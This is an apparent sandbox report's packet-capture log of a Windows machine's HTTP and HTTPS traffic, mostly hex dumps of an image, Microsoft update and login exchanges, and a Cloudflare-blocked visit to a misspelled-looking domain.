Apr 18, 2024 23:05:22.783317089 CEST	1289	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:22 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Last-Modified: Thu, 19 Nov 2020 20:44:57 GMT ETag: "de09d3-ef44-5b47bcd022440" Accept-Ranges: bytes Content-Length: 61252 Keep-Alive: timeout=5 Content-Type: image/jpeg Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 48 00 48 00 00 ff e1 00 ec 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 13 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 86 87 69 00 04 00 00 00 01 00 00 00 9a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 50 69 78 65 6c 6d 61 74 6f 72 20 50 72 6f 20 32 2e 30 00 00 32 30 32 30 3a 31 31 3a 30 35 20 32 30 3a 33 31 3a 31 36 00 00 04 90 04 00 02 00 00 00 14 00 00 00 d0 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 bd a0 03 00 04 00 00 00 01 00 00 00 83 00 00 00 00 32 30 32 30 3a 31 31 3a 30 35 20 31 33 3a 33 31 3a 31 35 00 ff e1 62 75 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 58 4d 50 20 43 6f 72 65 20 36 2e 30 2e 30 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 3e 20 3c 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 22 22 20 78 6d 6c 6e 73 3a 69 6c 6c 75 73 74 72 61 74 6f 72 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 69 6c 6c 75 73 74 72 61 74 6f 72 2f 31 2e 30 2f 22 20 78 6d 6c 6e 73 3a 78 6d 70 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 22 20 78 6d 6c 6e 73 3a 78 6d 70 47 49 6d 67 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 67 2f 69 6d 67 2f 22 20 78 6d 6c 6e 73 3a 70 64 66 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 70 64 66 2f 31 2e 33 2f 22 20 78 6d 6c 6e 73 3a 78 6d 70 4d 4d 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 6d 6d 2f 22 20 78 6d 6c 6e 73 3a 73 74 45 76 74 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 73 54 79 70 65 2f 52 65 73 6f 75 72 63 65 45 76 65 6e 74 23 22 20 78 6d 6c 6e 73 3a 73 74 52 65 66 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 73 54 79 70 65 2f 52 65 73 6f 75 72 63 65 52 65 66 23 22 20 78 6d 6c 6e 73 3a 64 63 3d 22 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 65 6c 65 6d 65 6e 74 73 2f 31 2e 31 2f 22 20 69 6c 6c 75 73 74 72 61 74 6f 72 3a 43 72 65 61 74 6f 72 53 75 62 54 6f 6f 6c 3d 22 41 64 6f 62 65 20 49 6c 6c 75 73 74 72 61 74 6f 72 22 20 69 6c 6c 75 73 74 72 61 74 6f 72 3a 53 74 61 72 74 75 70 50 72 6f 66 69 6c 65 3d 22 50 72 69 6e 74 22 20 78 6d 70 Data Ascii: JFIFHHExifMM*bj(1r2iHHPixelmator Pro 2.02020:11:05 20:31:162020:11:05 13:31:15buhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:illustrator="http://ns.adobe.com/illustrator/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpGImg="http://ns.adobe.com/xap/1.0/g/img/" xmlns:pdf="http://ns.adobe.com/pdf/1.3/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:dc="http://purl.org/dc/elements/1.1/" illustrator:CreatorSubTool="Adobe Illustrator" illustrator:StartupProfile="Print" xmp
Apr 18, 2024 23:05:22.783335924 CEST	1289	IN	Data Raw: 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3d 22 50 69 78 65 6c 6d 61 74 6f 72 20 50 72 6f 20 32 2e 30 22 20 78 6d 70 3a 4d 65 74 61 64 61 74 61 44 61 74 65 3d 22 32 30 32 30 2d 31 31 2d 31 39 54 32 30 3a 34 34 3a 30 36 5a 22 20 78 6d 70 3a 43 72 65 61 Data Ascii: :CreatorTool="Pixelmator Pro 2.0" xmp:MetadataDate="2020-11-19T20:44:06Z" xmp:CreateDate="2020-11-05T13:31:15-07:00" xmp:ModifyDate="2020-11-05T20:31:16Z" pdf:Producer="Adobe PDF library 15.00" xmpMM:OriginalDocumentID="uuid:5D20892493BFDB1191
Apr 18, 2024 23:05:22.783351898 CEST	1289	IN	Data Raw: 71 4f 7a 77 79 67 70 26 23 78 41 3b 30 2b 50 7a 68 4a 53 6b 74 4d 54 55 35 50 52 6c 64 59 57 56 70 62 58 46 31 65 58 31 52 6c 5a 6d 64 6f 61 57 70 72 62 47 31 75 62 32 52 31 64 6e 64 34 65 58 70 37 66 48 31 2b 66 33 4f 45 68 59 61 48 69 49 6d 4b Data Ascii: qOzwygp 0+PzhJSktMTU5PRldYWVpbXF1eX1RlZmdoaWprbG1ub2R1dnd4eXp7fH1+f3OEhYaHiImKi4yNjo +DlJWWl5iZmpucnZ6fkqOkpaanqKmqq6ytrq+v/aAAwDAQACEQMRAD8A9U4q7FXYq7FXYq7FXYq7 FXYq7FXYq7FXYq7FXYq8v/O/z9+htJ/QNhJTU9SQ+uyneK2Ox+TSfZHtX2zcdk6PxJccv
Apr 18, 2024 23:05:22.783368111 CEST	1289	IN	Data Raw: 39 6c 56 32 47 64 74 67 77 78 78 77 45 52 26 23 78 41 3b 79 44 78 57 66 4e 4c 4c 4d 79 50 56 4c 73 74 61 58 59 71 37 46 58 59 71 6a 39 44 31 71 2f 30 54 56 72 58 56 4c 42 2b 46 31 61 75 48 51 39 69 4f 6a 4b 33 69 72 44 59 35 58 6d 78 52 79 52 4d Data Ascii: 9lV2GdtgwxxwER yDxWfNLLMyPVLstaXYq7FXYqj9D1q/0TVrXVLB+F1auHQ9iOjK3irDY5XmxRyRMZci24c0scxKPM PrXyr5ksPMmhW2rWR/dzr+8jJq0cg2eNvdT/AFzitRglimYno9rgzRywEh1TbKG52KuxV2KuxV2K uxV2KuxV2KuxV2KuxV2KuxV2KuxV2KpY3mTSF19dBM3+5FovWEfanXjX+bj8VP
Apr 18, 2024 23:05:22.783382893 CEST	1289	IN	Data Raw: 68 56 55 56 5a 6a 73 41 42 33 4f 49 43 6b 30 38 41 2f 4d 50 7a 26 23 78 41 3b 63 33 6d 48 57 54 36 4c 48 39 47 32 6c 59 37 52 65 7a 62 2f 41 42 53 48 2f 58 70 74 37 55 7a 73 65 7a 74 48 34 4f 50 66 36 6a 7a 2f 41 46 50 6d 76 62 66 61 58 35 6e 4c Data Ascii: hVUVZjsAB3OICk08A/MPz c3mHWT6LH9G2lY7Rezb/ABSH/Xpt7UzseztH4OPf6jz/AFPmvbfaX5nL6f7uOw/X8fuYrmxdKyby B5sby7raySk/o+5pHeoN6LX4ZAPFCfurmB2hpPGx0PqHJ2/Y3aP5XNZ+iW0v1/D9b6DR0kRXRgyO AysDUEHcEHONIp9MBsWG8CUv8wa7YaFo91qt+/C2tULN4s3RUX/KZth
Apr 18, 2024 23:05:22.783399105 CEST	1289	IN	Data Raw: 66 54 35 59 31 34 57 74 35 4a 54 52 74 52 4b 70 63 31 36 52 53 64 45 6d 39 71 64 47 26 23 78 41 3b 39 76 6b 4d 31 76 61 65 6a 38 61 46 6a 36 34 2f 69 6e 5a 39 6d 61 7a 77 70 38 4a 2b 69 58 32 65 62 36 63 42 42 46 52 30 7a 6b 58 72 58 67 76 2f 41 Data Ascii: fT5Y14Wt5JTRtRKpc16RSdEm9qdG 9vkM1vaej8aFj64/inZ9mazwp8J+iX2eb6cBBFR0zkXrXgv/ADkd+YzRKPJenSUdwkusSLUEKaPH B/shR29qe+bfs3TX+8PwdV2jqaHAPi+fM3LpXYq7FX0r/wA48fmR+k9N/wAJ6nLW/sE5adIx3ltl /wB1+7Rdv8n5Zou0dNwnjHI83e9n6nijwnmPue0ZrHZOxV2K
Apr 18, 2024 23:05:22.783488035 CEST	1289	IN	Data Raw: 33 56 7a 41 37 51 30 66 6a 59 36 48 31 44 6b 37 66 73 62 74 4c 38 72 6c 73 2f 33 63 74 70 66 72 2b 44 33 26 23 78 41 3b 58 56 64 4d 30 37 57 39 49 6e 30 2b 37 55 54 32 4e 37 48 78 65 68 36 71 32 36 73 70 38 52 73 56 4f 63 68 6a 79 53 78 7a 45 68 Data Ascii: 3VzA7Q0fjY6H1Dk7fsbtL8rls/3ctpfr+D3 XVdM07W9In0+7UT2N7Hxeh6q26sp8RsVOchjySxzEhtIPpM4RyRo7xL5M83+WL7yzr9zpN4KmI8o Zegkib7Eg+Y6+BqM7XTagZYCQeL1WnOGZifwEmy9x30J+RnkL9F6X/iK/ipqGoJS0RxvFbHcN85e v+rTxOcx2vrOOXhx+mPP3/seo7J0fBHjl9Uvu/a9W
Apr 18, 2024 23:05:22.783504009 CEST	1289	IN	Data Raw: 78 56 32 4b 76 70 6a 2f 6e 48 6e 38 79 50 30 74 70 66 2b 46 64 54 6c 72 71 57 6e 4a 57 77 6b 63 37 79 32 79 37 63 4e 2b 72 52 26 23 78 41 3b 64 50 38 41 56 70 34 48 4e 46 32 6a 70 75 45 38 59 35 48 37 33 66 64 6e 36 6e 6a 6a 77 6e 6d 50 75 65 79 Data Ascii: xV2Kvpj/nHn8yP0tpf+FdTlrqWnJWwkc7y2y7cN+rR dP8AVp4HNF2jpuE8Y5H73fdn6njjwnmPuey5rHYuxV2KpR5q8x2vl/RptQmozj4LeE/7slYfCv8A E+2ZOk0xzZBEfH3OF2hrY6bEckvgO89z5zv766v7ya8unMlxcOZJXPcn+HhnbY8YhERHIPlubNLJ MzkblJQybU7FWwCSABUnoMCXpM/5TzR+Sl
Apr 18, 2024 23:05:22.783520937 CEST	1289	IN	Data Raw: 6f 46 48 52 30 56 30 59 4d 6a 41 46 57 42 71 43 44 30 49 4f 63 61 52 54 36 55 44 62 65 4b 58 59 71 37 46 58 59 71 37 46 58 59 71 37 46 58 6d 48 35 26 23 78 41 3b 33 2b 51 68 72 57 6a 2f 41 4b 64 73 49 36 36 70 70 71 45 7a 4b 6f 2b 4b 61 32 47 37 Data Ascii: oFHR0V0YMjAFWBqCD0IOcaRT6UDbeKXYq7FXYq7FXYq7FXmH5 3+QhrWj/AKdsI66ppqEzKo+Ka2G7D5x7sPavtm37J1nhz4JfTL7C6ntXR+JDjj9UftD50zqXlXYq 7FUbo2r3+japbanYSGK7tXEkbdtuqnxVhsR3GV5cUckTGXItmHLLHISjzD618peZrDzNoFtq1pQJ MvGaEkExyrs8bfI/eKHvnFanBLF
Apr 18, 2024 23:05:22.783535957 CEST	1289	IN	Data Raw: 32 78 4f 45 52 45 52 6a 51 39 37 72 63 33 73 31 69 79 54 4d 35 54 6d 5a 53 39 33 36 6c 44 2f 6c 53 57 67 66 38 74 39 33 2f 77 41 6b 2f 77 44 6d 6a 4a 2f 79 35 6b 2f 6d 26 23 78 41 3b 78 2b 31 71 2f 77 42 43 75 44 2b 64 50 37 50 31 4f 2f 35 55 6c Data Ascii: 2xOERERjQ97rc3s1iyTM5TmZS936lD/lSWgf8t93/wAk/wDmjJ/y5k/m x+1q/wBCuD+dP7P1O/5UloH/AC33f/JP/mjH+XMn82P2r/oVwfzp/Z+p3/KktA/5b7v/AJJ/80Y/ y5k/mx+1f9CuD+dP7P1Mm8p+S9K8swzJZl5pbhgZJ5eJfiBsg4gfCOuYGr1s85HFsA7bs7svHpAR CyZdTzT/ADDdk7FXYqx3
Apr 18, 2024 23:05:22.783551931 CEST	1289	IN	Data Raw: 6f 58 65 68 58 70 6c 65 70 37 50 4f 4f 48 48 45 69 55 4f 38 4d 39 4e 72 78 6b 6c 77 53 42 6a 50 75 4c 4f 4d 31 37 6e 73 4d 2f 4d 54 38 78 5a 50 4a 38 75 6c 51 78 61 59 64 53 6b 31 52 70 55 26 23 78 41 3b 52 52 4e 36 4a 56 6f 6a 47 41 50 37 75 53 Data Ascii: oXehXplep7POOHHEiUO8M9NrxklwSBjPuLOM17nsM/MT8xZPJ8ulQxaYdSk1RpU RRN6JVojGAP7uSvL1fbM/RaLxxImXDw+V97ga3WnCYgR4uLzru/Wl/8AysP8wf8AqQLn/pMX/qjl v5LB/qo+X7WH5vP/AKl/sh+p3/Kw/wAwf+pAuf8ApMX/AKo4/ksH+qj5ftX83n/1L/ZD9TafmD+Y DOqnyDcKCQC31

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49724	208.109.76.254	80	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:06:07.442394972 CEST	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.16	49707	23.216.69.213	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:04:57 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-18 21:04:57 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0758) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=208684 Date: Thu, 18 Apr 2024 21:04:57 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.16	49708	23.216.69.213	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:04:58 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-18 21:04:58 UTC	531	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0oq75YgAAAAAYL/6cwgY8QpNw2UWojohPQ0hHRURHRTE2MTkAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=208723 Date: Thu, 18 Apr 2024 21:04:58 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-18 21:04:58 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.16	49710	40.126.7.35	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:02 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4742 Host: login.live.com
2024-04-18 21:05:02 UTC	4742	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-18 21:05:02 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 18 Apr 2024 21:04:02 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_SN1 x-ms-request-id: 198ba6d4-4702-4fc4-9706-317c4cf0abe4 PPServer: PPV: 30 H: SN1PEPF0002F952 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 18 Apr 2024 21:05:02 GMT Connection: close Content-Length: 10197
2024-04-18 21:05:02 UTC	10197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49712	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:08 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ZxUvEM5FEX8LxNm&MD=x58mt9eX HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-18 21:05:08 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 27d18046-7380-4ae2-9bab-a961c006f960 MS-RequestId: 71058167-b2c0-4ee8-af14-b308eb7a6741 MS-CV: 3tpMqBpNU0mn337b.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 18 Apr 2024 21:05:07 GMT Connection: close Content-Length: 24490
2024-04-18 21:05:08 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-04-18 21:05:08 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49747	172.67.191.217	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:30 UTC	666	OUT	GET / HTTP/1.1 Host: ridgelineexcavatoin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:05:30 UTC	1290	IN	HTTP/1.1 403 Forbidden Date: Thu, 18 Apr 2024 21:05:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 16603 Connection: close Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Frame-Options: SAMEORIGIN cf-mitigated: challenge cf-chl-out: +PK2MucLww1ZMcEgQGMAQVmotAjgMpH7WeCEc86rq5vL4O1OxEWMq4CjGa/Kp9SCDQ9vv+Zcteyry/mCARymo5OFsNP3jyeWJjloUe6YJNpcByX8EWFafHWYaNz6Ym8arx7rAFJq3LAjHPeV2rr9CQ==$qvRgE+zrFKDU/YaZpjC5TQ== Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT
2024-04-18 21:05:30 UTC	423	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 79 55 61 5a 78 46 43 25 32 46 55 25 32 42 61 32 31 77 62 6a 57 67 72 77 6f 35 74 4f 42 4b 33 36 31 4f 61 41 64 38 38 30 70 6e 7a 58 6d 58 74 30 47 39 67 68 75 75 51 62 39 51 38 6a 65 4c 32 57 78 25 32 42 46 58 44 47 33 66 68 61 6a 63 45 52 70 62 4d 58 34 68 45 6d 72 44 59 51 37 73 73 49 43 75 61 73 57 77 6d 79 50 4c 65 4e 36 48 56 70 4b 34 4d 6e 75 52 46 48 77 25 32 42 67 7a 79 56 69 78 51 32 54 38 44 44 36 46 75 31 55 7a 6c 44 55 73 65 73 69 77 25 33 44 25 33 44 22 7d 5d 